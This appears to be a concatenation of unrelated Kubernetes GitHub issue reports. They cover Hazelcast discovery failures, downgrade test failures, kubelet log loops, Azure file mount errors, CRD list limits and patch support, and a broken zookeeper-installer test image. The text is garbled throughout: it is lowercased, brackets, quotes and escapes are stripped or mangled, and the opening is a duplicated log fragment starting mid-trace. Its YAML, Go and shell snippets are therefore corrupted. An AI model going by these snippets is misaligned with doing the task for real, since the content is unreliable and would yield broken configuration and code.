org.springframework.boot.loader.jarlauncher.main jarlauncher.java:51   bootstrapper.jar:na \ \ 2017-03-13 20:43:57.981  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : found 0 pods running hazelcast.\ 2017-03-13 20:43:58.110  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  interfaces is disabled, trying to pick one address from tcp-ip config addresses:   \ 2017-03-13 20:43:58.111  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  prefer ipv4 stack is true.\ 2017-03-13 20:43:58.112  warn 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  could not find a matching address to start with! picking one of non-loopback addresses.\ 2017-03-13 20:43:58.125  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  picked  10.180.1.11 :5701, using socket serversocket addr=/0:0:0:0:0:0:0:0,localport=5701 , bind any local is true\ 2017-03-13 20:43:58.165  info 6 ---             main  com.hazelcast.system                     :  10.180.1.11 :5701  somegroup   3.7.5  hazelcast 3.7.5  20170124 - 111f332  starting at  10.180.1.11 :5701\ 2017-03-13 20:43:58.165  info 6 ---             main  com.hazelcast.system                     :  10.180.1.11 :5701  somegroup   3.7.5  copyright  c  2008-2016, hazelcast, inc. all rights reserved.\ 2017-03-13 20:43:58.165  info 6 ---             main  com.hazelcast.system                     :  10.180.1.11 :5701  somegroup   3.7.5  configured hazelcast serialization version : 1\ 2017-03-13 20:43:58.470  info 6 ---             main  c.h.s.i.o.impl.backpressureregulator     :  10.180.1.11 :5701  somegroup   3.7.5  backpressure is disabled\ 2017-03-13 20:43:59.507  info 6 ---             main  com.hazelcast.instance.node              :  10.180.1.11 :5701  somegroup   3.7.5  creating tcpipjoiner\ 2017-03-13 20:43:59.774  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.1.11 :5701  somegroup   3.7.5  starting 2 partition threads\ 2017-03-13 20:43:59.776  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.1.11 :5701  somegroup   3.7.5  starting 3 generic threads  1 dedicated for  \ 2017-03-13 20:43:59.791  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.1.11 :5701  somegroup   3.7.5   10.180.1.11 :5701 is starting\ 2017-03-13 20:43:59.804  info 6 ---             main  c.h.n.t.n.nonblockingiothreadingmodel    :  10.180.1.11 :5701  somegroup   3.7.5  tcpipconnectionmanager configured with non blocking io-threading model: 3 input threads and 3 output threads\ 2017-03-13 20:43:59.823  info 6 ---             main  com.hazelcast.cluster.impl.tcpipjoiner   :  10.180.1.11 :5701  somegroup   3.7.5  \ \ \ members  1  {\ \\tmember  10.180.1.11 :5701 - 44c43b8b-c351-468c-a75e-57fa299dedfd this\ }\ \ 2017-03-13 20:43:59.884  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.1.11 :5701  somegroup   3.7.5   10.180.1.11 :5701 is started\ 2017-03-13 20:43:59.888  info 6 ---             main  com.github.pires.hazelcast.application   : started application in 5.083 seconds  jvm running for 5.873 \ \\\ \ ,     }     failed to find \ members  2 \ , last result: \ 2017-03-13 20:43:55.828  info 6 ---             main  com.github.pires.hazelcast.application   : starting application on hazelcast-1880832617-gnz9z with pid 6  /bootstrapper.jar started by root in /      2017-03-13 20:43:55.855  info 6 ---             main  com.github.pires.hazelcast.application   : no active profile set, falling back to default profiles: default     2017-03-13 20:43:55.980  info 6 ---             main  s.c.a.annotationconfigapplicationcontext : refreshing org.springframework.context.annotation.annotationconfigapplicationcontext@14514713: startup date  mon mar 13 20:43:55 gmt 2017 ; root of context hierarchy     2017-03-13 20:43:57.487  info 6 ---             main  o.s.j.e.a.annotationmbeanexporter        : registering beans for jmx exposure on startup     2017-03-13 20:43:57.504  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : asking k8s registry at https://kubernetes.default.svc.cluster.local..     2017-03-13 20:43:57.976  warn 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : request to kubernetes api failed          java.io.ioexception: server returned http response code: 403 for url: https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/endpoints/hazelcast     \tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1474  ~ na:1.8.0_111      \tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111      \tat com.github.pires.hazelcast.hazelcastdiscoverycontroller.run hazelcastdiscoverycontroller.java:118  ~ classes!/:na      \tat org.springframework.boot.springapplication.callrunner springapplication.java:801   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.springapplication.callrunners springapplication.java:785   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.springapplication.afterrefresh springapplication.java:772   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.springapplication.run springapplication.java:317   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.builder.springapplicationbuilder.run springapplicationbuilder.java:134   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat com.github.pires.hazelcast.application.main application.java:28   classes!/:na      \tat sun.reflect.nativemethodaccessorimpl.invoke0 native method  ~ na:1.8.0_111      \tat sun.reflect.nativemethodaccessorimpl.invoke nativemethodaccessorimpl.java:62  ~ na:1.8.0_111      \tat sun.reflect.delegatingmethodaccessorimpl.invoke delegatingmethodaccessorimpl.java:43  ~ na:1.8.0_111      \tat java.lang.reflect.method.invoke method.java:498  ~ na:1.8.0_111      \tat org.springframework.boot.loader.mainmethodrunner.run mainmethodrunner.java:48   bootstrapper.jar:na      \tat org.springframework.boot.loader.launcher.launch launcher.java:87   bootstrapper.jar:na      \tat org.springframework.boot.loader.launcher.launch launcher.java:50   bootstrapper.jar:na      \tat org.springframework.boot.loader.jarlauncher.main jarlauncher.java:51   bootstrapper.jar:na           2017-03-13 20:43:57.981  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : found 0 pods running hazelcast.     2017-03-13 20:43:58.110  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  interfaces is disabled, trying to pick one address from tcp-ip config addresses:        2017-03-13 20:43:58.111  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  prefer ipv4 stack is true.     2017-03-13 20:43:58.112  warn 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  could not find a matching address to start with! picking one of non-loopback addresses.     2017-03-13 20:43:58.125  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  picked  10.180.1.11 :5701, using socket serversocket addr=/0:0:0:0:0:0:0:0,localport=5701 , bind any local is true     2017-03-13 20:43:58.165  info 6 ---             main  com.hazelcast.system                     :  10.180.1.11 :5701  somegroup   3.7.5  hazelcast 3.7.5  20170124 - 111f332  starting at  10.180.1.11 :5701     2017-03-13 20:43:58.165  info 6 ---             main  com.hazelcast.system                     :  10.180.1.11 :5701  somegroup   3.7.5  copyright  c  2008-2016, hazelcast, inc. all rights reserved.     2017-03-13 20:43:58.165  info 6 ---             main  com.hazelcast.system                     :  10.180.1.11 :5701  somegroup   3.7.5  configured hazelcast serialization version : 1     2017-03-13 20:43:58.470  info 6 ---             main  c.h.s.i.o.impl.backpressureregulator     :  10.180.1.11 :5701  somegroup   3.7.5  backpressure is disabled     2017-03-13 20:43:59.507  info 6 ---             main  com.hazelcast.instance.node              :  10.180.1.11 :5701  somegroup   3.7.5  creating tcpipjoiner     2017-03-13 20:43:59.774  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.1.11 :5701  somegroup   3.7.5  starting 2 partition threads     2017-03-13 20:43:59.776  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.1.11 :5701  somegroup   3.7.5  starting 3 generic threads  1 dedicated for       2017-03-13 20:43:59.791  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.1.11 :5701  somegroup   3.7.5   10.180.1.11 :5701 is starting     2017-03-13 20:43:59.804  info 6 ---             main  c.h.n.t.n.nonblockingiothreadingmodel    :  10.180.1.11 :5701  somegroup   3.7.5  tcpipconnectionmanager configured with non blocking io-threading model: 3 input threads and 3 output threads     2017-03-13 20:43:59.823  info 6 ---             main  com.hazelcast.cluster.impl.tcpipjoiner   :  10.180.1.11 :5701  somegroup   3.7.5                 members  1  {     \tmember  10.180.1.11 :5701 - 44c43b8b-c351-468c-a75e-57fa299dedfd this     }          2017-03-13 20:43:59.884  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.1.11 :5701  somegroup   3.7.5   10.180.1.11 :5701 is started     2017-03-13 20:43:59.888  info 6 ---             main  com.github.pires.hazelcast.application   : started application in 5.083 seconds  jvm running for 5.873      \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:569     issues about this test specifically:  27850  30672  33271  previous issues for this suite:  36930  37437  38393  38578  39379  40341

currently the 1.6 -> 1.5 downgrade jobs are failing:\r  gce-1.6-1.5-downgrade-cluster  https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gce-1.6-1.5-downgrade-cluster \r    \r expected error:\r     < errors.errorstring | 0xc4208102d0>: {\r         s: \ error running /workspace/kubernetes_skew/cluster/gce/upgrade.sh  -m v1.5.5-beta.0.14+0fb9a2d414403e ; got error signal: interrupt, stdout \\\ == pre-upgrade node os and kubelet versions ==\\\ name: \\\\\\\ bootstrap-e2e-master\\\\\\\ , osimage: \\\\\\\ container-optimized os from google\\\\\\\ , kubeletversion: \\\\\\\ v1.6.0-beta.4.81+2c160759f37fb8\\\\\\\ \\\ name: \\\\\\\ bootstrap-e2e-minion-group-4v5v\\\\\\\ , osimage: \\\\\\\ debian gnu/linux 7  wheezy \\\\\\\ , kubeletversion: \\\\\\\ v1.5.5-beta.0.14+0fb9a2d414403e\\\\\\\ \\\ name: \\\\\\\ bootstrap-e2e-minion-group-dmcl\\\\\\\ , osimage: \\\\\\\ debian gnu/linux 7  wheezy \\\\\\\ , kubeletversion: \\\\\\\ v1.5.5-beta.0.14+0fb9a2d414403e\\\\\\\ \\\ name: \\\\\\\ bootstrap-e2e-minion-group-lsrw\\\\\\\ , osimage: \\\\\\\ debian gnu/linux 7  wheezy \\\\\\\ , kubeletversion: \\\\\\\ v1.5.5-beta.0.14+0fb9a2d414403e\\\\\\\ \\\ == upgrading master to 'https://storage.googleapis.com/kubernetes-release-dev/ci/v1.5.5-beta.0.14+0fb9a2d414403e/kubernetes-server-linux-amd64.tar.gz'. do not interrupt, deleting master instance. ==\\\ name                  zone           machine_type   preemptible  internal_ip  external_ip     status\\\ bootstrap-e2e-master  us-central1-f  n1-standard-1               10.240.0.2   35.184.192.247  running\\\ == waiting for new master to respond to api requests ==\\\ \\\ , stderr \\\ project: k8s-gce-dg-1-6-1-5-dwngr-clu\\\ zone: us-central1-f\\\ instance_groups=bootstrap-e2e-minion-group\\\ node_names=bootstrap-e2e-minion-group-4v5v bootstrap-e2e-minion-group-dmcl bootstrap-e2e-minion-group-lsrw\\\ trying to find master named 'bootstrap-e2e-master'\\\ looking for address 'bootstrap-e2e-master-ip'\\\ using master: bootstrap-e2e-master  external ip: 35.184.192.247 \\\ deleted  https://www.googleapis.com/compute/v1/projects/k8s-gce-dg-1-6-1-5-dwngr-clu/zones/us-central1-f/instances/bootstrap-e2e-master .\\\ warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks pdperformance.\\\ created  https://www.googleapis.com/compute/v1/projects/k8s-gce-dg-1-6-1-5-dwngr-clu/zones/us-central1-f/instances/bootstrap-e2e-master .\\\ \\\ \ ,\r     }\r     error running /workspace/kubernetes_skew/cluster/gce/upgrade.sh  -m v1.5.5-beta.0.14+0fb9a2d414403e ; got error signal: interrupt, stdout \ == pre-upgrade node os and kubelet versions ==\ name: \\\ bootstrap-e2e-master\\\ , osimage: \\\ container-optimized os from google\\\ , kubeletversion: \\\ v1.6.0-beta.4.81+2c160759f37fb8\\\ \ name: \\\ bootstrap-e2e-minion-group-4v5v\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.5.5-beta.0.14+0fb9a2d414403e\\\ \ name: \\\ bootstrap-e2e-minion-group-dmcl\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.5.5-beta.0.14+0fb9a2d414403e\\\ \ name: \\\ bootstrap-e2e-minion-group-lsrw\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.5.5-beta.0.14+0fb9a2d414403e\\\ \ == upgrading master to 'https://storage.googleapis.com/kubernetes-release-dev/ci/v1.5.5-beta.0.14+0fb9a2d414403e/kubernetes-server-linux-amd64.tar.gz'. do not interrupt, deleting master instance. ==\ name                  zone           machine_type   preemptible  internal_ip  external_ip     status\ bootstrap-e2e-master  us-central1-f  n1-standard-1               10.240.0.2   35.184.192.247  running\ == waiting for new master to respond to api requests ==\ \ , stderr \ project: k8s-gce-dg-1-6-1-5-dwngr-clu\ zone: us-central1-f\ instance_groups=bootstrap-e2e-minion-group\ node_names=bootstrap-e2e-minion-group-4v5v bootstrap-e2e-minion-group-dmcl bootstrap-e2e-minion-group-lsrw\ trying to find master named 'bootstrap-e2e-master'\ looking for address 'bootstrap-e2e-master-ip'\ using master: bootstrap-e2e-master  external ip: 35.184.192.247 \ deleted  https://www.googleapis.com/compute/v1/projects/k8s-gce-dg-1-6-1-5-dwngr-clu/zones/us-central1-f/instances/bootstrap-e2e-master .\ warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks pdperformance.\ created  https://www.googleapis.com/compute/v1/projects/k8s-gce-dg-1-6-1-5-dwngr-clu/zones/us-central1-f/instances/bootstrap-e2e-master .\ \ \r not to have occurred\r    \r \r  gke-gci-1.6-gci-1.5-downgrade-cluster  https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gke-gci-1.6-gci-1.5-downgrade-cluster \r    \r mar 21 03:12:01.772: failed to allocated static ip e2e-tests-ingress-upgrade-zszrb-static-ip: googleapi: error 403: quota 'static_addresses' exceeded. limit: 7.0, quotaexceeded    \r    \r \r looks like this could be for different reasons.

kubelet  version 1.6.2  is runnig but get stuck by showing all time \ setting node annotation to enable volume controller attach/detach\  in the logs.  \r \r root@machine:~/bmxkube$ systemctl status kube-kubelet -l\r ● kube-kubelet.service - kubernetes kubelet\r    loaded: loaded  /usr/lib/systemd/system/kube-kubelet.service; enabled; vendor preset: disabled \r    active: active  running  since fri 2017-05-12 14:04:48 cest; 12min ago\r  main pid: 27616  kubelet \r    memory: 34.5m\r    cgroup: /system.slice/kube-kubelet.service\r            ├─27616 /usr/local/bin/kubelet --address=<my ip address> --port=10250 --allow-privileged=true --hostname_override=<my ip address> --cluster_dns=<dns ip address> --cluster_domain=cluster.local --pod-manifest-path=/etc/kubernetes/manifests --register-node=false --cgroup-driver=systemd --logtostderr=true\r            └─27664 journalctl -k -f\r \r may 12 14:16:00 machine kubelet 27616 : i0512 14:16:00.821387   27616 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r may 12 14:16:00 machine kubelet 27616 : i0512 14:16:00.880089   27616 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r may 12 14:16:10 machine  kubelet 27616 : i0512 14:16:10.979742   27616 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r may 12 14:16:11 machine  kubelet 27616 : i0512 14:16:11.038418   27616 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r may 12 14:16:21 machine  kubelet 27616 : i0512 14:16:21.139348   27616 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r may 12 14:16:21 machine  kubelet 27616 : i0512 14:16:21.198391   27616 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r may 12 14:16:31 machine  kubelet 27616 : i0512 14:16:31.294939   27616 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r may 12 14:16:31 machine  kubelet 27616 : i0512 14:16:31.356673   27616 \r \r to reproduce it, run a master node  apiserver, controller, scheduler and kube-proxy  with hyperkype image and manifests files.\r  when kubelet is starting, all components  apiserver, controller, scheduler and kube-proxy  are running as i expected. the kubelet is also running but it shows all time \ setting node annotation to enable volume controller attach/detach\  in the its log file.\r \r os: centos7  i have also the same error in rhel 7.2 .\r docker: 1;12.5\r \r thanks in advance:

seeing some runs failing occasionally due to failing to create kubemark-master:\r \r    \r i0615 15:12:50.228  error:  gcloud.compute.instances.create  could not fetch resource:\r i0615 15:12:50.228   - the zone 'projects/k8s-jenkins-kubemark/zones/us-central1-f' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r    \r \r should we change the zone to a different one?\r \r cc @kubernetes/sig-scalability-bugs @gmarek

issue opened to track pr which is adding collection of metrics for local-volumes plugin \r  

\r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r i tried to send request with header  \r    \r     {\r        \ big_xk_lx\ : \ the value\ ,\r        \ sid\ :\ the value\ ,                \r        \ js\ :\ the value\ ,\r     }\r \r to my web app deployment with k8s. but my app got only \ sid\  and \ js\ , the \ big_xk_lx\  with underline in the name was missing. \r \r   what you expected to happen  :\r \r i expected to get all the three key-value pairs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r maybe set one of the header's name with underline?\r \r   anything else we need to know?  :\r \r my app was in python aiohttp. and this works fine in minikube and docker-compose. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ ,       gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r \r linux izwz9d3slgp17ruszmydnqz 4.4.0-63-generic  84-ubuntu smp wed feb 1 17:20:32 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

our 5k-node cluster jobs recently started failing even before the e2e tests start. the reason is the step which checks that all kube-system pods are running is timing out:\r \r    \r i1018 07:27:06.071  oct 18 07:27:06.070: info: waiting up to 10m0s for all pods  need at least 8  in namespace 'kube-system' to be running and ready\r i1018 07:27:09.904  oct 18 07:27:09.904: info: the status of pod kube-dns-75f5545c67-24tgk is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i1018 07:27:09.905  oct 18 07:27:09.904: info: the status of pod kube-dns-75f5545c67-2cb7g is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i1018 07:27:09.905  oct 18 07:27:09.904: info: the status of pod kube-dns-75f5545c67-2hn22 is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i1018 07:27:09.905  oct 18 07:27:09.904: info: the status of pod kube-dns-75f5545c67-2vdpq is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r ...\r    \r \r cc @kubernetes/sig-scalability-misc @wojtek-t @porridge

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r this issue if for tracking the work related to pushing manifest list for kubernetes images infra and test \r \r list of images for which manifest need to be created:\r \r -  x   pause  https://github.com/kubernetes/kubernetes/tree/master/build/pause  - https://github.com/kubernetes/kubernetes/pull/57723\r -  x  kubernetes to use manifest pause image - https://github.com/kubernetes/kubernetes/pull/59056\r -  x  dns\r -  x   etcd  https://github.com/kubernetes/kubernetes/tree/master/cluster/images/etcd  - https://github.com/kubernetes/kubernetes/pull/59664\r -  x   debian-hyperkube-base  https://github.com/kubernetes/kubernetes/tree/master/build/debian-hyperkube-base  - https://github.com/kubernetes/kubernetes/pull/59664\r -  x   hyperkube  https://github.com/kubernetes/kubernetes/tree/master/cluster/images/hyperkube  - https://github.com/kubernetes/kubernetes/pull/59664\r -  x   debian-base  https://github.com/kubernetes/kubernetes/tree/master/build/debian-base  - https://github.com/kubernetes/kubernetes/pull/59664\r -  x   test/images  https://github.com/kubernetes/kubernetes/tree/master/test/images \r -  x   debian-iptables  https://github.com/kubernetes/kubernetes/tree/master/build/debian-iptables  - https://github.com/kubernetes/kubernetes/pull/59664\r -      dashboard   \r -  x  manifest images for k8s release images - https://github.com/kubernetes/release/pull/516

we should support strategic merge patch  smp  for custom resources if we plan to move crds to ga  1 .\r \r currently, we face the following issues with regards to not supporting strategic merge patch:\r \r - the garbage collector tries to perform a smp on the custom resources to remove the owner reference  https://github.com/kubernetes/kubernetes/issues/56348 .\r - discussion for crds supporting smp only on metadata  https://github.com/kubernetes/kubernetes/pull/56606 .\r - we use special casing for custom resources  https://github.com/kubernetes/kubernetes/pull/53558  to generate an error message specifying that smp is not supported. we want to avoid such special casings.\r - when a patch  json, merge  conflict occurs, the server fallsback to a smp to detect overlapping patch content. this assumption does not hold true for custom resources  https://github.com/kubernetes/kubernetes/issues/58017, https://github.com/kubernetes/kubernetes/pull/58064 . to fix this, we will need to use special casing again, which is not desired.\r \r /cc @sttts @deads2k @enisoc @mbohlool @liggitt @lavalamp @caesarxuchao @jennybuckley \r \r \r \r \r  1  https://groups.google.com/forum/ !topic/kubernetes-sig-api-machinery/07jkqczqksc

this tests are failing on release 1.9 branch blocking next patch release that is scheduled for tomorrow:\r \r -  k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 100 pods per node\r -  k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 0 pods per node\r \r an example failure:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-stable2/352

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r when trying to mount an azure file mount it fails, it looks as though its putting a new line between the name of the azure storage account and the azure storage domain. there are no new line characters in the secret that holds the account name.\r \r the following is the secret:\r    yaml\r apiversion: v1\r kind: secret\r metadata:\r   name: asa-otm\r   labels:\r     app: my-app\r     role: secret\r     env: dev\r type: opaque\r data:\r   azurestorageaccountname: c2fhdxnuchjkzgv2b3rtcg==\r   azurestorageaccountkey: password  \r    \r \r the following is the declaration within the  container  section of the kubernetes yaml:\r    yaml\r         volumemounts:\r         - name: asa-otm\r           mountpath: /opt/my-app/otm\r       volumes:\r       - name: asa-otm\r         azurefile:\r           secretname: asa-otm\r           sharename: otm\r           readonly: false\r    \r \r the following is the error that's shown in  kubectl describe po/pod_name:\r    \r warning  failedmount            11s                kubelet, k8s-agentpool0-18189144-2  mountvolume.setup failed for volume \ asa-otm\  : mount failed: exit status 1\r mounting command: mount\r mounting arguments: -t cifs -o username=saausnprddevotm\r ,password=password\r ,file_mode=0755,dir_mode=0755,vers=3.0 //saausnprddevotm\r .file.core.windows.net/otm /var/lib/kubelet/pods/3ae17688-4cdd-11e8-9240-000d3ae0c5ae/volumes/kubernetes.io~azure-file/asa-otm\r output: mount error: could not resolve address for saausnprddevotm\r .file.core.windows.net: unknown error\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.4 \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu  16.04.3 lts\r - kernel  e.g.  uname -a  : 4.13.0-1011-azure\r - install tools:  acs-engine  https://github.com/azure/acs-engine \r - others:  acs-engine  2818  https://github.com/azure/acs-engine/issues/2818

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm using list api with the  limit  option, but no matter what my  limit  is set, it returns all the data.\r \r    go\r client.someresourcev1beta1  .storageservices  .list metav1.listoptions{\r \tlimit: 1,\r } \r    \r \r but internal resources, like secrets works fine.\r \r i don't know if our crd or clientset needs special configure.\r \r   what you expected to happen  :\r \r it returns limited data\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try with any crd\r \r   anything else we need to know?  :\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:17:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r now apiextensions extracts content of  labelselectorpath  of custom resource as a string. and we point  labelselectorpath  to a  labelselector  in our crd, does it make more sense to extract it as a  labelselector ?\r \r  spec.selector  in  deployment / replicaset / replicationcontroller /... is a map, and converted to a string when used for horizontalpodautoscaler scale. e.g. for  deployment :\r \r  pkg/registry/extensions/deployment/storage/storage.go \r \r    \r func scalefromdeployment deployment  extensions.deployment    autoscaling.scale, error  {\r        \tselector, err := metav1.labelselectorasselector deployment.spec.selector \r          ...\r \tselector: selector.string  , \r    \r \r btw: if we allow  labelselectorpath  under  spec  in  67824, it will be more convenient to point  labelselectorpath  to  .spec.selector .\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : the  zookeeper-installer  https://github.com/dims/kubernetes/tree/3e56e3c1c6b994f5b40a49f674e8c37a4c0dbf22/test/images/pets/zookeeper-installer  image used in the statefulset e2e tests: https://github.com/kubernetes/kubernetes/blob/e4ef6079bc2c38ef7c741c6d253baa3f6fcad12f/test/e2e/apps/statefulset.go l846 doesn't work because  bash  is missing in the image and the entrypoint is a bash script   install.sh  .\r \r   what you expected to happen  : the image should be able to execute the entrypoint.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the image with the same args as used in the manifests: https://github.com/kubernetes/kubernetes/blob/e4ef6079bc2c38ef7c741c6d253baa3f6fcad12f/test/e2e/testing-manifests/statefulset/zookeeper/statefulset.yaml l18-l22 \r    \r $ docker run -it gcr.io/kubernetes-e2e-test-images/pets/zookeeper-installer:1.2 --install-into=/opt --work-dir=/work-dir\r standard_init_linux.go:190: exec user process caused \ no such file or directory\ \r    \r \r   anything else we need to know?  :\r \r can fix the issue by adding  bash  to the install command: https://github.com/dims/kubernetes/blob/3e56e3c1c6b994f5b40a49f674e8c37a4c0dbf22/test/images/pets/zookeeper-installer/dockerfile l21\r \r and building a new image:\r \r    \r $ make -c test/images what=pets/zookeeper-installer all-container\r ...\r successfully built adaa6bfab882\r successfully tagged gcr.io/kubernetes-e2e-test-images/pets/zookeeper-installer-arm64:1.2\r ...\r $ docker run -it gcr.io/kubernetes-e2e-test-images/pets/zookeeper-installer-amd64:1.2 --install-into=/opt\r installing config scripts into /work-dir\r installing zookeeper-3.5.0-alpha into /opt\r zookeeper-3.5.0-alpha supports dynamic reconfiguration, enabling it\r copying nc into /opt\r    \r \r but i don't know if this is the right way since i don't fully understand the whole baseimage infrastructure and what's supposed to go where.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

i found that kubectl namespace has been forbidden: and if i use  kubectl namespace , there is a clue that  \ see 'kubectl config set-context --help' for more details\  but  kubectl config set-context  couldn't view the default  preference  namespace. then i use   kubectl config view , but the result is:      {     \ kind\ : \ config\ ,     \ apiversion\ : \ v1\ ,     \ preferences\ : {},     \ clusters\ :   ,     \ users\ :   ,     \ contexts\ :   ,     \ current-context\ : \ \  }      i couldn't found any contexts there. so i see, if we don't specify any context,  the current-context  default namespace etc  is hard coded in our code. i think this is a bad user experience. we should enhance this.  and i specify a current-context, use   kubectl config view  again, the result is:      apiversion: v1 clusters:    contexts: - context:     cluster: \ \      namespace: development     user: \ \    name: development current-context: development kind: config preferences: {} users:         yes, it works. but i think we should support  kubectl config view --current-context  to see the current-context directly.

